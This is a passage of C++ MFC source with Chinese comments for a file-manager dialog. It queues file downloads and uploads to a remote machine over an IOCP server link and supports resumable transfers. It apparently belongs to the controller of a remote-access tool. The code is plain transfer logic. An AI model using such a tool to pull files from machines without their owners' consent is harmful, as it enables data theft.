	} //EO while(pos) -- at this point we have deleted the moving items and stored them in memory 
	 
	// 禁用文件管理窗口 
	m_list_file.EnableWindow(FALSE); 
	m_ProgressCtrl.SetPos(0); 
	m_bIsUpload = false; 
	m_bIsDownload=true; 
	// 发送第一个下载任务 
	SendDownloadJob(); 
} 
 
void CFileManagerDlg::OnUpload()  
{ 
	// TODO: Add your command handler code here 
	// 重置上传任务列表 
	m_Remote_Upload_Job.RemoveAll(); 
	 
	BROWSEINFO bInfo; 
	ZeroMemory(&bInfo, sizeof(bInfo)); 
	bInfo.hwndOwner = m_hWnd; 
	bInfo.lpszTitle = _T("请选择需要上传的文件或文件夹: "); 
	bInfo.ulFlags =BIF_BROWSEINCLUDEFILES;  
		 
	LPITEMIDLIST lpDlist; //用来保存返回信息的IDList 
	lpDlist = SHBrowseForFolder(&bInfo) ; //显示选择对话框 
	if (lpDlist==NULL) 
	 return; 
	TCHAR chPath[255]; //用来存储路径的字符串 
	SHGetPathFromIDList(lpDlist, chPath);//把项目标识列表转化成字符串     
	m_strUploadFolder=strrchr(chPath,'\\')+1; 
	m_strUploadFolder+='\\'; 
 
   if (!FixedUploadDirectory(chPath)) 
   { 
	   CString path=chPath; 
	   // 添加到上传任务列表中去 
	  	m_Remote_Upload_Job.AddTail(path); //上传的是文件 
	   m_bIsUploadFolder=FALSE; 
   }else 
   { 
	   m_bIsUploadFolder=TRUE;	    
   } 
   
	if (m_Remote_Upload_Job.IsEmpty()) 
	{ 
		::MessageBox(m_hWnd, "文件夹为空", "警告", MB_OK|MB_ICONWARNING); 
		return; 
	} 
	// 禁用文件管理窗口 
	m_list_file.EnableWindow(FALSE); 
	m_ProgressCtrl.SetPos(0); 
	m_bIsUpload = true; 
	m_bIsDownload=false; 
	SendUploadJob(); 
} 
 
// 发出一个下载任务 
BOOL CFileManagerDlg::SendDownloadJob() 
{	 
	if (m_Remote_Download_Job.IsEmpty()) 
		return FALSE;	 
 
	// 发出第一个下载任务命令 
	CString file = m_Remote_Download_Job.GetHead(); 
	int		nPacketSize = file.GetLength() + 2; 
	BYTE	*bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); 
	bPacket[0] = COMMAND_DOWN_FILES; 
	memcpy(bPacket + 1, file.GetBuffer(0), file.GetLength() + 1); 
	m_iocpServer->Send(m_pContext, bPacket, nPacketSize); 
	 
	LocalFree(bPacket); 
	// 从下载任务列表中删除自己 
	m_Remote_Download_Job.RemoveHead(); 
	return TRUE; 
} 
 
void CFileManagerDlg::CreateLocalRecvFile() 
{ 
    // 重置计数器 
	m_nCounter = 0; 
 
	FILESIZE	*pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); 
	DWORD	dwSizeHigh = pFileSize->dwSizeHigh; 
	DWORD	dwSizeLow = pFileSize->dwSizeLow; 
 
	m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+1)) + dwSizeLow; 
 
	// 当前正操作的文件名 
	m_strOperatingFile = m_pContext->m_DeCompressionBuffer.GetBuffer(9); 
	m_strReceiveLocalFile = m_strOperatingFile; 
 
	// 得到要保存到的本地的文件路径 
	m_strReceiveLocalFile.Replace(m_Remote_Path, m_strDestDirectory); 
	 
	// 创建多层目录 
	MakeSureDirectoryPathExists(m_strReceiveLocalFile.GetBuffer(0)); 
 
 
	WIN32_FIND_DATA FindFileData; 
	HANDLE hFind = FindFirstFile(m_strReceiveLocalFile.GetBuffer(0), &FindFileData); 
 
 
	if (hFind != INVALID_HANDLE_VALUE 
		&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL  
		&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL 
		&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL 
		) 
	{ 
 
		CFileTransferModeDlg	dlg(this); 
		dlg.m_strFileName = m_strReceiveLocalFile; 
		switch (dlg.DoModal()) 
		{ 
		case IDC_OVERWRITE: 
			m_nTransferMode = TRANSFER_MODE_OVERWRITE; 
			break; 
		case IDC_OVERWRITE_ALL: 
			m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL; 
			break; 
		case IDC_ADDITION: 
			m_nTransferMode = TRANSFER_MODE_ADDITION; 
			break; 
		case IDC_ADDITION_ALL: 
			m_nTransferMode = TRANSFER_MODE_ADDITION_ALL; 
			break; 
		case IDC_JUMP: 
			m_nTransferMode = TRANSFER_MODE_JUMP; 
			break; 
		case IDC_JUMP_ALL: 
			m_nTransferMode = TRANSFER_MODE_JUMP_ALL; 
			break; 
		case IDC_CANCEL: 
			m_nTransferMode = TRANSFER_MODE_CANCEL; 
			break; 
		} 
	} 
 
	if (m_nTransferMode == TRANSFER_MODE_CANCEL) 
	{ 
		// 取消传送 
		m_bIsStop = true; 
		SendStop(); 
		return; 
	} 
	int	nTransferMode; 
	switch (m_nTransferMode) 
	{ 
	case TRANSFER_MODE_OVERWRITE_ALL: 
		nTransferMode = TRANSFER_MODE_OVERWRITE; 
		break; 
	case TRANSFER_MODE_ADDITION_ALL: 
		nTransferMode = TRANSFER_MODE_ADDITION; 
		break; 
	case TRANSFER_MODE_JUMP_ALL: 
		nTransferMode = TRANSFER_MODE_JUMP; 
		break; 
	default: 
		nTransferMode = m_nTransferMode; 
	} 
 
	//  1字节Token,四字节偏移高四位,四字节偏移低四位 
	BYTE	bToken[9]; 
	DWORD	dwCreationDisposition; // 文件打开方式  
	memset(bToken, 0, sizeof(bToken)); 
	bToken[0] = COMMAND_CONTINUE; 
 
	// 文件已经存在 
	if (hFind != INVALID_HANDLE_VALUE) 
	{ 
		// 提示点什么 
		// 如果是续传 
		if (nTransferMode == TRANSFER_MODE_ADDITION) 
		{ 
			memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4); 
			memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4); 
			// 接收的长度递增 
			m_nCounter += FindFileData.nFileSizeHigh * (MAXDWORD+1); 
			m_nCounter += FindFileData.nFileSizeLow; 
 
			dwCreationDisposition = OPEN_EXISTING; 
		} 
		// 覆盖 
		else if (nTransferMode == TRANSFER_MODE_OVERWRITE) 
		{ 
			// 偏移置0 
			memset(bToken + 1, 0, 8); 
			// 重新创建 
			dwCreationDisposition = CREATE_ALWAYS; 
			 
		} 
		// 跳过,指针移到-1 
		else if (nTransferMode == TRANSFER_MODE_JUMP) 
		{ 
			m_ProgressCtrl.SetPos(100); 
			DWORD dwOffset = -1; 
			memcpy(bToken + 5, &dwOffset, 4); 
			dwCreationDisposition = OPEN_EXISTING; 
		} 
	} 
	else 
	{ 
		// 偏移置0 
		memset(bToken + 1, 0, 8); 
		// 重新创建 
		dwCreationDisposition = CREATE_ALWAYS; 
	} 
	FindClose(hFind); 
 
 
	HANDLE	hFile =  
		CreateFile 
		( 
		m_strReceiveLocalFile.GetBuffer(0),  
		GENERIC_WRITE, 
		FILE_SHARE_WRITE, 
		NULL, 
		dwCreationDisposition, 
		FILE_ATTRIBUTE_NORMAL, 
		0 
		); 
	// 需要错误处理 
	if (hFile == INVALID_HANDLE_VALUE) 
	{ 
		m_nOperatingFileLength = 0; 
		m_nCounter = 0; 
		::MessageBox(m_hWnd, m_strReceiveLocalFile + " 文件创建失败", "警告", MB_OK|MB_ICONWARNING); 
		return; 
	} 
	CloseHandle(hFile); 
 
	ShowProgress(); 
	if (m_bIsStop) 
		SendStop(); 
	else 
	{ 
		// 发送继续传输文件的token,包含文件续传的偏移 
		m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); 
	} 
} 
 
void CFileManagerDlg::WriteLocalRecvFile() 
{ 
	BYTE	*pData; 
	DWORD	dwBytesToWrite; 
	DWORD	dwBytesWrite; 
	int		nHeadLength = 9; // 1 + 4 + 4  数据包头部大小,为固定的9 
	FILESIZE	*pFileSize; 
	// 根据偏移得到数据 
	pData = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength); 
	 
	pFileSize = (FILESIZE *)m_pContext->m_DeCompressionBuffer.GetBuffer(1); 
	// 得到数据在文件中的偏移, 赋值给计数器 
	m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh); 
	 
	LONG	dwOffsetHigh = pFileSize->dwSizeHigh; 
	LONG	dwOffsetLow = pFileSize->dwSizeLow; 
	 
	 
	dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; 
	 
	HANDLE	hFile =  
		CreateFile 
		( 
		m_strReceiveLocalFile.GetBuffer(0),  
		GENERIC_WRITE, 
		FILE_SHARE_WRITE, 
		NULL, 
		OPEN_EXISTING, 
		FILE_ATTRIBUTE_NORMAL, 
		0 
		); 
	 
	SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); 
	 
	int nRet = 0; 
	for (int i = 0; i < MAX_WRITE_RETRY; i++) 
	{ 
		// 写入文件 
		nRet = WriteFile 
			( 
			hFile, 
			pData,  
			dwBytesToWrite,  
			&dwBytesWrite, 
			NULL 
			); 
		if (nRet > 0) 
		{ 
			break; 
		} 
	} 
	if (i == MAX_WRITE_RETRY && nRet <= 0) 
	{ 
		::MessageBox(m_hWnd, m_strReceiveLocalFile + " 文件写入失败", "警告", MB_OK|MB_ICONWARNING); 
	} 
	CloseHandle(hFile); 
	// 计数器递增 
	m_nCounter += dwBytesWrite; 
	ShowProgress(); 
	if (m_bIsStop) 
		SendStop(); 
	else 
	{ 
		BYTE	bToken[9]; 
		bToken[0] = COMMAND_CONTINUE; 
		dwOffsetLow += dwBytesWrite; 
		memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); 
		memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); 
		Sleep(5);//这里必须有,不然传输大文件会卡住,因为数据包太多要发送,需要sleep下,控制台下测试不会有问题 
		m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); 
	} 
} 
 
void CFileManagerDlg::EndLocalRecvFile() 
{ 
	m_nCounter = 0; 
	m_strOperatingFile = ""; 
	m_nOperatingFileLength = 0; 
	 
	if (m_Remote_Download_Job.IsEmpty() || m_bIsStop) 
	{ 
		m_Remote_Download_Job.RemoveAll(); 
		m_bIsStop = false; 
		m_bIsDownload=false; 
		// 重置传输方式 
		m_nTransferMode = TRANSFER_MODE_NORMAL;	 
		m_list_file.EnableWindow(TRUE); 
		ShowMessage("下载文件完成"); 
	} 
	else 
	{ 
		//不sleep下会出错,可能以前的数据还没send出去 
		Sleep(5); 
		SendDownloadJob(); 
	} 
} 
 
void CFileManagerDlg::ShowProgress() 
{ 
	char	*lpDirection = NULL; 
	if (m_bIsUpload && !m_bIsDownload) 
		lpDirection = "上传文件"; 
	else if (!m_bIsUpload&&m_bIsDownload) 
		lpDirection = "下载文件";	 
	 
	if ((int)m_nCounter == -1) 
	{ 
		m_nCounter = m_nOperatingFileLength; 
	} 
	 
	int	progress = (float)(m_nCounter * 100) / m_nOperatingFileLength; 
	ShowMessage("%s %s %dKB (%d%%)", lpDirection, m_strOperatingFile, (int)(m_nCounter / 1024), progress); 
	m_ProgressCtrl.SetPos(progress); 
	 
	if (m_nCounter == m_nOperatingFileLength) 
	{ 
		m_nCounter = m_nOperatingFileLength = 0; 
	} 
} 
 
BOOL CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName) 
{ 
	char	lpszFilter[MAX_PATH]; 
	char	*lpszSlash = NULL; 
	memset(lpszFilter, 0, sizeof(lpszFilter)); 
	 
	if (lpPathName[lstrlen(lpPathName) - 1] != '\\') 
		lpszSlash = "\\"; 
	else 
		lpszSlash = ""; 
	 
	wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash); 
	 
	 
	WIN32_FIND_DATA	wfd; 
	HANDLE hFind = FindFirstFile(lpszFilter, &wfd); 
	if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 
		return FALSE; 
 
	do 
	{  
		if (wfd.cFileName[0] == '.')  
			continue; // 过滤这两个目录  
		if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)  
		{  
			char strDirectory[MAX_PATH]; 
			wsprintf(strDirectory, "%s%s%s", lpPathName, lpszSlash, wfd.cFileName);  
			FixedUploadDirectory(strDirectory); // 如果找到的是目录,则进入此目录进行递归  
		}  
		else  
		{  
			CString file; 
			file.Format("%s%s%s", lpPathName, lpszSlash, wfd.cFileName);  
			m_Remote_Upload_Job.AddTail(file); 
			// 对文件进行操作  
		}  
	} while (FindNextFile(hFind, &wfd));  
	FindClose(hFind); // 关闭查找句柄 
	return TRUE; 
} 
 
// 发出一个上传任务 
BOOL CFileManagerDlg::SendUploadJob() 
{ 
	if (m_Remote_Upload_Job.IsEmpty()) 
		return FALSE; 
		 
	// 发出第一个上传任务命令 
	m_strOperatingFile = m_Remote_Upload_Job.GetHead(); 
	 
	DWORD	dwSizeHigh; 
	DWORD	dwSizeLow; 
	// 1 字节token, 8字节大小, 文件名称, '\0' 
	HANDLE	hFile; 
	CString	fileRemote = m_strOperatingFile; // 本地文件路径拷贝给远程文件路径     
 
	if (m_bIsUploadFolder)//上传文件夹 
	{    
		CString temp=fileRemote.Mid(fileRemote.ReverseFind('\\')+1);//文件名 
		CString path=""; 
		CString temp1=fileRemote.Mid(fileRemote.Find(m_strUploadFolder)+m_strUploadFolder.GetLength()); 
		int idx=temp1.Find('\\'); 
		while (idx!=-1) 
		{ 
          path+=temp1.Left(idx); 
		  path+='\\'; 
		  temp1=temp1.Mid(idx+1); 
		  idx=temp1.Find('\\'); 
		} 
		fileRemote=m_Remote_Path+m_strUploadFolder+path+temp;//远程路径加文件名*/ 
	    m_strUploadRemoteFile = fileRemote; 
	}else //上传文件 
	{ 
		fileRemote=fileRemote.Mid(fileRemote.ReverseFind('\\')+1); 
		fileRemote=m_Remote_Path+fileRemote;//远程路径加文件名 
	    m_strUploadRemoteFile = fileRemote; 
	}	 
 
	hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 
	if (hFile == INVALID_HANDLE_VALUE) 
		return FALSE; 
	dwSizeLow =	GetFileSize (hFile, &dwSizeHigh); 
	m_nOperatingFileLength = (dwSizeHigh * (MAXDWORD+1)) + dwSizeLow; 
	 
	CloseHandle(hFile); 
	// 构造数据包,发送文件长度 
	int		nPacketSize = fileRemote.GetLength() + 10; 
	BYTE	*bPacket = (BYTE *)LocalAlloc(LPTR, nPacketSize); 
	memset(bPacket, 0, nPacketSize); 
	 
	bPacket[0] = COMMAND_FILE_SIZE; 
	memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD)); 
	memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD)); 
	memcpy(bPacket + 9, fileRemote.GetBuffer(0), fileRemote.GetLength() + 1); 
	 
	m_iocpServer->Send(m_pContext, bPacket, nPacketSize); 
	 
	LocalFree(bPacket); 
	 
	// 从上传任务列表中删除自己 
	m_Remote_Upload_Job.RemoveHead(); 
	return TRUE; 
} 
 
void CFileManagerDlg::SendTransferMode() 
{ 
	CFileTransferModeDlg	dlg(this); 
	dlg.m_strFileName = m_strUploadRemoteFile; 
	switch (dlg.DoModal()) 
	{ 
	case IDC_OVERWRITE: 
		m_nTransferMode = TRANSFER_MODE_OVERWRITE; 
		break; 
	case IDC_OVERWRITE_ALL: 
		m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL; 
		break; 
	case IDC_ADDITION: 
		m_nTransferMode = TRANSFER_MODE_ADDITION; 
		break; 
	case IDC_ADDITION_ALL: 
		m_nTransferMode = TRANSFER_MODE_ADDITION_ALL; 
		break; 
	case IDC_JUMP: 
		m_nTransferMode = TRANSFER_MODE_JUMP; 
		break; 
	case IDC_JUMP_ALL: 
		m_nTransferMode = TRANSFER_MODE_JUMP_ALL; 
		break; 
	case IDC_CANCEL: 
		m_nTransferMode = TRANSFER_MODE_CANCEL; 
		break; 
	} 
	if (m_nTransferMode == TRANSFER_MODE_CANCEL) 
	{ 
		m_bIsStop = true; 
		EndLocalUploadFile(); 
		return; 
	} 
	 
	BYTE bToken[5]; 
	bToken[0] = COMMAND_SET_TRANSFER_MODE; 
	memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode)); 
	m_iocpServer->Send(m_pContext, (unsigned char *)&bToken, sizeof(bToken)); 
} 
 
void CFileManagerDlg::SendFileData() 
{ 
	FILESIZE *pFileSize = (FILESIZE *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)); 
	LONG	dwOffsetHigh = pFileSize->dwSizeHigh ; 
	LONG	dwOffsetLow = pFileSize->dwSizeLow; 
	 
	m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh); 
	 
	ShowProgress();	 
	 
	if (m_nCounter == m_nOperatingFileLength || pFileSize->dwSizeLow == -1 || m_bIsStop) 
	{ 
		EndLocalUploadFile(); 
		return; 
	}	 
	 
	HANDLE	hFile; 
	hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 
	if (hFile == INVALID_HANDLE_VALUE) 
	{ 
		return; 
	} 
	 
	SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); 
	 
	int		nHeadLength = 9; // 1 + 4 + 4  数据包头部大小,为固定的9 
	 
	DWORD	nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength; 
	DWORD	nNumberOfBytesRead = 0; 
	BYTE	*lpBuffer = (BYTE *)LocalAlloc(LPTR, MAX_SEND_BUFFER); 
	// Token,  大小,偏移,数据 
	lpBuffer[0] = COMMAND_FILE_DATA; 
	memcpy(lpBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); 
	memcpy(lpBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow));	 
	// 返回值 
	bool	bRet = true; 
	ReadFile(hFile, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL); 
	CloseHandle(hFile);	 
	 
	if (nNumberOfBytesRead > 0) 
	{ 
		int	nPacketSize = nNumberOfBytesRead + nHeadLength; 
		m_iocpServer->Send(m_pContext, lpBuffer, nPacketSize); 
	} 
	LocalFree(lpBuffer); 
} 
 
void CFileManagerDlg::EndLocalUploadFile() 
{	 
	m_nCounter = 0; 
	m_strOperatingFile = ""; 
	m_nOperatingFileLength = 0; 
	 
	if (m_Remote_Upload_Job.IsEmpty() || m_bIsStop) 
	{ 
		m_Remote_Upload_Job.RemoveAll(); 
		m_bIsStop = false; 
		m_bIsUpload=false; 
		m_list_file.EnableWindow(TRUE); 
		GetRemoteFileList("."); 
		ShowMessage("远程:装载目录 %s*.* 完成", m_Remote_Path); 
	} 
	else 
	{ 
		//不sleep下会出错,可能以前的数据还没send出去 
		Sleep(5); 
		SendUploadJob(); 
	} 
	return; 
}